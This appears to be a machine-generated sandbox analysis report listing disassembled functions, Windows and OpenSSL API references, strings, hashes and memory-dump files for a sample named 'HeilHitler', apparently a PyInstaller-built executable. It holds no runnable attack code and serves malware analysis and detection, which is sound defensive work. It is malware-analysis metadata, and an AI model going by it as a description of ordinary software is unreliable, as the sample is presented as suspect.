Instruction ID: f9e216a77434f41ddc6c2818c5590be12bae5bfbd5c22c3e413d37561858f23e
Opcode Fuzzy Hash: 4a0b6e8ebe13cae449087f655af1d2523953ec7fd560ce9a50e7097f48d063a1
Instruction Fuzzy Hash: 2221F732708B4192E7119B94F8467EA73A4FB88784F805236EE8DA7756DF3CD215C740

Function 00007FF633D62710 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 64COMMON

Download Yara Rule

APIs

GetCurrentProcessId.KERNEL32(?,00000000,00000000,?,00000000,00007FF633D61B99), ref: 00007FF633D62760

Strings

[PYI-%d:%s] , xrefs: 00007FF633D62768
ERROR, xrefs: 00007FF633D6276F
Error [ANSI Fallback], xrefs: 00007FF633D627CF
Error, xrefs: 00007FF633D627DE

Memory Dump Source

Source File: 00000001.00000002.2033505327.00007FF633D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF633D60000, based on PE: true

Associated: 00000001.00000002.2033471768.00007FF633D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033554529.00007FF633D8B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033600199.00007FF633D9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033600199.00007FF633DA1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033670545.00007FF633DA4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff633d60000_HeilHitler.jbxd

Similarity

API ID: CurrentProcess
String ID: ERROR$Error$Error [ANSI Fallback]$[PYI-%d:%s]
API String ID: 2050909247-1591803126
Opcode ID: a4fe537d534c2fb53088f6f6b76b448a80ccad2508d4dc842b27f1a8247accfc
Instruction ID: 2ac7761fc5d2d0ce4d1714a694a1c284d2a48211121f43196110f73418939675
Opcode Fuzzy Hash: a4fe537d534c2fb53088f6f6b76b448a80ccad2508d4dc842b27f1a8247accfc
Instruction Fuzzy Hash: 1821B232A19B8192E720DB91F8427E673A4FB88784F801235FE9DA3759DF3CE1459740

Function 00007FF633D79A88 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 27libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32 ref: 00007FF633D79AAD
GetProcAddress.KERNEL32 ref: 00007FF633D79AC3
FreeLibrary.KERNEL32 ref: 00007FF633D79AEA

Strings

mscoree.dll, xrefs: 00007FF633D79AA4
CorExitProcess, xrefs: 00007FF633D79ABC

Memory Dump Source

Source File: 00000001.00000002.2033505327.00007FF633D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF633D60000, based on PE: true

Associated: 00000001.00000002.2033471768.00007FF633D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033554529.00007FF633D8B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033600199.00007FF633D9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033600199.00007FF633DA1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033670545.00007FF633DA4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff633d60000_HeilHitler.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: b239dd027a539e56a716c05e535b4da9cb8e2339e08a4dc57142401ef2416000
Instruction ID: 6e70702f8cc8c05fd7e2224f32638cf4824501ea2af2367d430ac242eaca4e9f
Opcode Fuzzy Hash: b239dd027a539e56a716c05e535b4da9cb8e2339e08a4dc57142401ef2416000
Instruction Fuzzy Hash: 6CF04F21B0A70681EA108FA4E49677A6320BF45761F541339D67E9A7E4DF3CE048E740

Function 00007FF633D89368 Relevance: 7.6, APIs: 5, Instructions: 56COMMONLIBRARYCODE

Download Yara Rule

APIs

_set_statfp.LIBCMT ref: 00007FF633D89390
_set_statfp.LIBCMT ref: 00007FF633D893AB
_set_statfp.LIBCMT ref: 00007FF633D893C7
_set_statfp.LIBCMT ref: 00007FF633D89403

Memory Dump Source

Source File: 00000001.00000002.2033505327.00007FF633D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF633D60000, based on PE: true

Associated: 00000001.00000002.2033471768.00007FF633D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033554529.00007FF633D8B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033600199.00007FF633D9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033600199.00007FF633DA1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033670545.00007FF633DA4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff633d60000_HeilHitler.jbxd

Similarity

API ID: _set_statfp
String ID:
API String ID: 1156100317-0
Opcode ID: bce21d2362216a5e504affcf34f2858e363de54600403cac3d1eeb36cb2ab404
Instruction ID: 1740fa7dea82f0db993d721bdbc789fe3a290f01ab4c766d09565ea55d8dcb9a
Opcode Fuzzy Hash: bce21d2362216a5e504affcf34f2858e363de54600403cac3d1eeb36cb2ab404
Instruction Fuzzy Hash: 1A114F22E5CA0302FA6512EAE4973791150EF59364E046734EAEFFE7DA8E7CB8416104

Function 00007FF633D7B390 Relevance: 7.6, APIs: 5, Instructions: 54COMMONLIBRARYCODE

Download Yara Rule

APIs

FlsGetValue.KERNEL32(?,?,?,00007FF633D7A5A3,?,?,00000000,00007FF633D7A83E,?,?,?,?,?,00007FF633D7A7CA), ref: 00007FF633D7B3AF
FlsSetValue.KERNEL32(?,?,?,00007FF633D7A5A3,?,?,00000000,00007FF633D7A83E,?,?,?,?,?,00007FF633D7A7CA), ref: 00007FF633D7B3CE
FlsSetValue.KERNEL32(?,?,?,00007FF633D7A5A3,?,?,00000000,00007FF633D7A83E,?,?,?,?,?,00007FF633D7A7CA), ref: 00007FF633D7B3F6
FlsSetValue.KERNEL32(?,?,?,00007FF633D7A5A3,?,?,00000000,00007FF633D7A83E,?,?,?,?,?,00007FF633D7A7CA), ref: 00007FF633D7B407
FlsSetValue.KERNEL32(?,?,?,00007FF633D7A5A3,?,?,00000000,00007FF633D7A83E,?,?,?,?,?,00007FF633D7A7CA), ref: 00007FF633D7B418

Memory Dump Source

Source File: 00000001.00000002.2033505327.00007FF633D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF633D60000, based on PE: true

Associated: 00000001.00000002.2033471768.00007FF633D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033554529.00007FF633D8B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033600199.00007FF633D9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033600199.00007FF633DA1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033670545.00007FF633DA4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff633d60000_HeilHitler.jbxd

Similarity

API ID: Value
String ID:
API String ID: 3702945584-0
Opcode ID: 4beba02b960c9f4c122fa6b087f84ea6fe2ade67e0ecd51c72e7f47762a48d3d
Instruction ID: ca50551e65363582523f6374fa265e7449db3506ccfaf416f793eb32d8966603
Opcode Fuzzy Hash: 4beba02b960c9f4c122fa6b087f84ea6fe2ade67e0ecd51c72e7f47762a48d3d
Instruction Fuzzy Hash: F9115E20F0C64281FA689FB5955367962465F447B4F888334E93EFB7D6DE2CE452A300

Function 00007FF633D7B224 Relevance: 7.6, APIs: 5, Instructions: 50COMMON

Download Yara Rule

APIs

FlsGetValue.KERNEL32 ref: 00007FF633D7B235
FlsSetValue.KERNEL32 ref: 00007FF633D7B254
FlsSetValue.KERNEL32 ref: 00007FF633D7B27C
FlsSetValue.KERNEL32 ref: 00007FF633D7B28D
FlsSetValue.KERNEL32 ref: 00007FF633D7B29E

Memory Dump Source

Source File: 00000001.00000002.2033505327.00007FF633D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF633D60000, based on PE: true

Associated: 00000001.00000002.2033471768.00007FF633D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033554529.00007FF633D8B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033600199.00007FF633D9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033600199.00007FF633DA1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033670545.00007FF633DA4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff633d60000_HeilHitler.jbxd

Similarity

API ID: Value
String ID:
API String ID: 3702945584-0
Opcode ID: cda0cba1a061c727c7e2df3b5d45acc099e2ee41b4dfcb91690057491b566149
Instruction ID: 6eab562e1d83f5d882c4aa02a22574ba7fae9327a1151a8ca1ce9ebb4e4ec727
Opcode Fuzzy Hash: cda0cba1a061c727c7e2df3b5d45acc099e2ee41b4dfcb91690057491b566149
Instruction Fuzzy Hash: 38113920E0E20781FAA86EF1442367E12424F45370F084734D93EFA7D2DD2CB9507341

Function 00007FFDFAE821C1 Relevance: 7.4, APIs: 1, Strings: 3, Instructions: 357COMMON

Download Yara Rule

APIs

00007FFE1FFB08A0.API-MS-WIN-CRT-TIME-L1-1-0 ref: 00007FFDFAECE4DB

Strings

resumption, xrefs: 00007FFDFAECE796
..\s\ssl\statem\statem_clnt.c, xrefs: 00007FFDFAECE4E1, 00007FFDFAECE823
&, xrefs: 00007FFDFAECE817

Memory Dump Source

Source File: 00000001.00000002.2034183596.00007FFDFAE81000.00000040.00000001.01000000.00000010.sdmp, Offset: 00007FFDFAE80000, based on PE: true

Associated: 00000001.00000002.2034141796.00007FFDFAE80000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.2034183596.00007FFDFAEF3000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.2034183596.00007FFDFAEF6000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.2034183596.00007FFDFAF19000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.2034183596.00007FFDFAF24000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.2034183596.00007FFDFAF2E000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.2034512265.00007FFDFAF31000.00000080.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.2034545589.00007FFDFAF33000.00000004.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffdfae80000_HeilHitler.jbxd

Similarity

API ID: 00007
String ID: &$..\s\ssl\statem\statem_clnt.c$resumption
API String ID: 3568877910-1441847574
Opcode ID: 73da6ed3a122ca658e289fa11470f3a3e71e111d3fe2952cdc4eaf4fdab7512b
Instruction ID: 5d8f4ce6517c7bcc80e417b94e66c092aa54b875c4a0fb6030d9d7fbd085c592
Opcode Fuzzy Hash: 73da6ed3a122ca658e289fa11470f3a3e71e111d3fe2952cdc4eaf4fdab7512b
Instruction Fuzzy Hash: 88F10372B0868185E7289B15E4A4BBDB7A0FB84B84F058175DAEE577D8DF3EE580C700

Function 00007FFDFAEB4B90 Relevance: 7.3, APIs: 1, Strings: 3, Instructions: 268COMMON

Download Yara Rule

APIs

00007FFE1FFB08A0.API-MS-WIN-CRT-TIME-L1-1-0 ref: 00007FFDFAEB4C1E

Strings

..\s\ssl\ssl_sess.c, xrefs: 00007FFDFAEB4BB6
, xrefs: 00007FFDFAEB4D77
T, xrefs: 00007FFDFAEB4C3E

Memory Dump Source

Source File: 00000001.00000002.2034183596.00007FFDFAE81000.00000040.00000001.01000000.00000010.sdmp, Offset: 00007FFDFAE80000, based on PE: true

Associated: 00000001.00000002.2034141796.00007FFDFAE80000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.2034183596.00007FFDFAEF3000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.2034183596.00007FFDFAEF6000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.2034183596.00007FFDFAF19000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.2034183596.00007FFDFAF24000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.2034183596.00007FFDFAF2E000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.2034512265.00007FFDFAF31000.00000080.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.2034545589.00007FFDFAF33000.00000004.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffdfae80000_HeilHitler.jbxd

Similarity

API ID: 00007
String ID: $..\s\ssl\ssl_sess.c$T
API String ID: 3568877910-2024727245
Opcode ID: 4200142c00a380515af32dd588f4d13a0373dba83e7865d16fcefcd847d84a21
Instruction ID: 9b2ae92ab8785859dbecf54792fa97cf35b89b6e7b3ef58ea6e3584216edec79
Opcode Fuzzy Hash: 4200142c00a380515af32dd588f4d13a0373dba83e7865d16fcefcd847d84a21
Instruction Fuzzy Hash: 42C1753270868182E759AF25D4A8BF92791FB84B88F044076DE6E4B7D9CF3EE955C700

Function 00007FF633D75FA0 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 242COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF633D75FDC
_invalid_parameter_noinfo.LIBCMT ref: 00007FF633D76106
_invalid_parameter_noinfo.LIBCMT ref: 00007FF633D761BC

Strings

verbose, xrefs: 00007FF633D75FB0

Memory Dump Source

Source File: 00000001.00000002.2033505327.00007FF633D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF633D60000, based on PE: true

Associated: 00000001.00000002.2033471768.00007FF633D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033554529.00007FF633D8B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033600199.00007FF633D9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033600199.00007FF633DA1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033670545.00007FF633DA4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff633d60000_HeilHitler.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: verbose
API String ID: 3215553584-579935070
Opcode ID: 8c3a45f75ca5c0a3459ca2e96ae2fbbf181a3d63a640e770f0a7cf37c7606cec
Instruction ID: 5bfbfe9ee72169a339b73ff0211cb6058e7213603982fe5c203b5fe916921353
Opcode Fuzzy Hash: 8c3a45f75ca5c0a3459ca2e96ae2fbbf181a3d63a640e770f0a7cf37c7606cec
Instruction Fuzzy Hash: 8291F232A08A4685F7658EA4D45637D37A1AB40B94F844336DE9DE33D6FF3CE849A300

Function 00007FF633D7FBC8 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 219COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF633D7FEA7

Part of subcall function 00007FF633D77A3C: _invalid_parameter_noinfo.LIBCMT ref: 00007FF633D77A59

Strings

ccs, xrefs: 00007FF633D7FDE2
UTF-16LEUNICODE, xrefs: 00007FF633D7FE45
UTF-8, xrefs: 00007FF633D7FE26

Memory Dump Source

Source File: 00000001.00000002.2033505327.00007FF633D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF633D60000, based on PE: true

Associated: 00000001.00000002.2033471768.00007FF633D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033554529.00007FF633D8B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033600199.00007FF633D9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033600199.00007FF633DA1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033670545.00007FF633DA4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff633d60000_HeilHitler.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: UTF-16LEUNICODE$UTF-8$ccs
API String ID: 3215553584-1196891531
Opcode ID: 7089664b0a027e884898b454f5d4d61e653d4f3baae8c024cbe23c99275e4c13
Instruction ID: 6d0f7454b8fec6c00dd6cf00228ac33d822e6e7074f624caf0611361992f1dec
Opcode Fuzzy Hash: 7089664b0a027e884898b454f5d4d61e653d4f3baae8c024cbe23c99275e4c13
Instruction Fuzzy Hash: 0881CD72E0821385F7749EA9815227826A8EB11B48F558735DA2DFF389CF2DE941B702

Function 00007FFDFAD61FC0 Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 173COMMON

Download Yara Rule

APIs

00007FFE1FFB6570.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FFDFAD61FF8
00007FFE1FFB6570.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FFDFAD62016

Strings

HANGUL SYLLABLE , xrefs: 00007FFDFAD61FE5
CJK UNIFIED IDEOGRAPH-, xrefs: 00007FFDFAD6200C

Memory Dump Source

Source File: 00000001.00000002.2033758431.00007FFDFAD61000.00000040.00000001.01000000.00000013.sdmp, Offset: 00007FFDFAD60000, based on PE: true

Associated: 00000001.00000002.2033713501.00007FFDFAD60000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2033758431.00007FFDFADC4000.00000040.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2033758431.00007FFDFAE13000.00000040.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2033758431.00007FFDFAE6C000.00000040.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2033758431.00007FFDFAE71000.00000040.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2033758431.00007FFDFAE74000.00000040.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2034059986.00007FFDFAE75000.00000080.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2034101253.00007FFDFAE77000.00000004.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffdfad60000_HeilHitler.jbxd

Similarity

API ID: 00007B6570
String ID: CJK UNIFIED IDEOGRAPH-$HANGUL SYLLABLE
API String ID: 4069847057-87138338
Opcode ID: dd12be397e2784a3b9b42d5ec1b23b2ed281038ba6f510f7d5b8d27382faff68
Instruction ID: e4626b57dd142e38aad635d4ba85b6c1ff1874e06f156893e42656bad2aef596
Opcode Fuzzy Hash: dd12be397e2784a3b9b42d5ec1b23b2ed281038ba6f510f7d5b8d27382faff68
Instruction Fuzzy Hash: E661E672F1864246E7688E19AC20A7A6292FB90790F548275EE7A47BCDFF3CD405CB40

Function 00007FF633D6D648 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 154COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 00007FF633D6D673
_IsNonwritableInCurrentImage.LIBCMT ref: 00007FF633D6D70A
RtlUnwindEx.KERNEL32 ref: 00007FF633D6D764

Strings

csm, xrefs: 00007FF633D6D6F1

Memory Dump Source

Source File: 00000001.00000002.2033505327.00007FF633D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF633D60000, based on PE: true

Associated: 00000001.00000002.2033471768.00007FF633D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033554529.00007FF633D8B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033600199.00007FF633D9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033600199.00007FF633DA1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033670545.00007FF633DA4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff633d60000_HeilHitler.jbxd

Similarity

API ID: CurrentImageNonwritableUnwind__except_validate_context_record
String ID: csm
API String ID: 2395640692-1018135373
Opcode ID: 4bd751ab4a757734da5bac4c310991cbc8ef63d187f18c7a3c34a87046479a0f
Instruction ID: 61be1db25d527b0826e63ee315ab3468e3c2d08d298a55817cdb556ed082ef50
Opcode Fuzzy Hash: 4bd751ab4a757734da5bac4c310991cbc8ef63d187f18c7a3c34a87046479a0f
Instruction Fuzzy Hash: 5F51BF32B196428ADB14CF95F445A787391FB44B98F918230DA6EA779CEF7CE841D700

Function 00007FF633D6F288 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 146COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 00007FF633D6F2B0
__FrameHandler3::FrameUnwindToEmptyState.LIBVCRUNTIME ref: 00007FF633D6F398

Strings

csm, xrefs: 00007FF633D6F2D2
csm, xrefs: 00007FF633D6F3EA

Memory Dump Source

Source File: 00000001.00000002.2033505327.00007FF633D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF633D60000, based on PE: true

Associated: 00000001.00000002.2033471768.00007FF633D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033554529.00007FF633D8B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033600199.00007FF633D9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033600199.00007FF633DA1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033670545.00007FF633DA4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff633d60000_HeilHitler.jbxd

Similarity

API ID: Frame$EmptyHandler3::StateUnwind__except_validate_context_record
String ID: csm$csm
API String ID: 3896166516-3733052814
Opcode ID: b828653c103bc27f8420a51a056d9897bfd6e6497fd7c081c32eb92dd3ed2bbb
Instruction ID: 3fcdcd1c0f0ea58bf7fcc9dfd958138af5f85b08eccddb40698e0f4ea41e857b
Opcode Fuzzy Hash: b828653c103bc27f8420a51a056d9897bfd6e6497fd7c081c32eb92dd3ed2bbb
Instruction Fuzzy Hash: B651A332A08B428AEB748FA1D14526837A8FB54B84F945336DA6DABB95CF3CF450D701

Function 00007FF633D6EED8 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 146COMMON

Download Yara Rule

APIs

EncodePointer.KERNEL32 ref: 00007FF633D6EF37
_CallSETranslator.LIBVCRUNTIME ref: 00007FF633D6EF83

Strings

MOC, xrefs: 00007FF633D6EF4B
RCC, xrefs: 00007FF633D6EF53

Memory Dump Source

Source File: 00000001.00000002.2033505327.00007FF633D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF633D60000, based on PE: true

Associated: 00000001.00000002.2033471768.00007FF633D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033554529.00007FF633D8B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033600199.00007FF633D9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033600199.00007FF633DA1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033670545.00007FF633DA4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff633d60000_HeilHitler.jbxd

Similarity

API ID: CallEncodePointerTranslator
String ID: MOC$RCC
API String ID: 3544855599-2084237596
Opcode ID: 1c81a5d02d7979dd4dad50f55436adaf5051385037e661534b2c2f58034018d3
Instruction ID: 8358b9b083ad9bcf205d14673147ecac64c4f19881dc2d13d781748a40487605
Opcode Fuzzy Hash: 1c81a5d02d7979dd4dad50f55436adaf5051385037e661534b2c2f58034018d3
Instruction Fuzzy Hash: 0061A232908BC586DB208F65E4413AAB7A4FB947C4F444325EBAC57B99DF7CE194CB00

Function 00007FFDFAF42833 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 137COMMON

Download Yara Rule

Strings

T, xrefs: 00007FFDFB003253
..\s\crypto\async\async.c, xrefs: 00007FFDFB0030DF, 00007FFDFB00312D, 00007FFDFB003146, 00007FFDFB00317C, 00007FFDFB0031C6, 00007FFDFB00321C, 00007FFDFB00323D, 00007FFDFB00325B, 00007FFDFB003295, 00007FFDFB0032BA

Memory Dump Source

Source File: 00000001.00000002.2034614271.00007FFDFAF41000.00000040.00000001.01000000.0000000F.sdmp, Offset: 00007FFDFAF40000, based on PE: true

Associated: 00000001.00000002.2034579485.00007FFDFAF40000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2034614271.00007FFDFAF4D000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2034614271.00007FFDFAFA5000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2034614271.00007FFDFAFB9000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2034614271.00007FFDFAFC9000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2034614271.00007FFDFAFDD000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2034614271.00007FFDFB18C000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2034614271.00007FFDFB18E000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2034614271.00007FFDFB1B9000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2034614271.00007FFDFB1EA000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2034614271.00007FFDFB210000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2034614271.00007FFDFB25E000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2034614271.00007FFDFB264000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2034614271.00007FFDFB266000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2034614271.00007FFDFB282000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2034614271.00007FFDFB28F000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2035725372.00007FFDFB293000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2035764384.00007FFDFB294000.00000004.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffdfaf40000_HeilHitler.jbxd

Similarity

API ID:
String ID: ..\s\crypto\async\async.c$T
API String ID: 0-2182492907
Opcode ID: 84e0df82d853d50b4fd7d046fc8fec4d13de8957f562a682e85f1a9d1bb3de25
Instruction ID: 6d9ff846f709a70c4ba6efee97e1ccec4dfdf331e73987838bb539aa2643e968
Opcode Fuzzy Hash: 84e0df82d853d50b4fd7d046fc8fec4d13de8957f562a682e85f1a9d1bb3de25
Instruction Fuzzy Hash: 40519C31B0A64382F725DB11D4209A96761EF49BC8F444535EAAD4BBEEDF3DE608D700

Function 00007FFDFB006D50 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 129networkCOMMON

Download Yara Rule

APIs

getnameinfo.WS2_32 ref: 00007FFDFB006DEB
htons.WS2_32 ref: 00007FFDFB006E5B

Strings

, xrefs: 00007FFDFB006DD1
..\s\crypto\bio\b_addr.c, xrefs: 00007FFDFB006E04, 00007FFDFB006E86, 00007FFDFB006EA5, 00007FFDFB006ED5, 00007FFDFB006EF2, 00007FFDFB006F14

Memory Dump Source

Source File: 00000001.00000002.2034614271.00007FFDFAFDD000.00000040.00000001.01000000.0000000F.sdmp, Offset: 00007FFDFAF40000, based on PE: true

Associated: 00000001.00000002.2034579485.00007FFDFAF40000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2034614271.00007FFDFAF41000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2034614271.00007FFDFAF4D000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2034614271.00007FFDFAFA5000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2034614271.00007FFDFAFB9000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2034614271.00007FFDFAFC9000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2034614271.00007FFDFB18C000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2034614271.00007FFDFB18E000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2034614271.00007FFDFB1B9000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2034614271.00007FFDFB1EA000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2034614271.00007FFDFB210000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2034614271.00007FFDFB25E000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2034614271.00007FFDFB264000.00000040.00000001.01000000.0000000F.sdmpDownload File
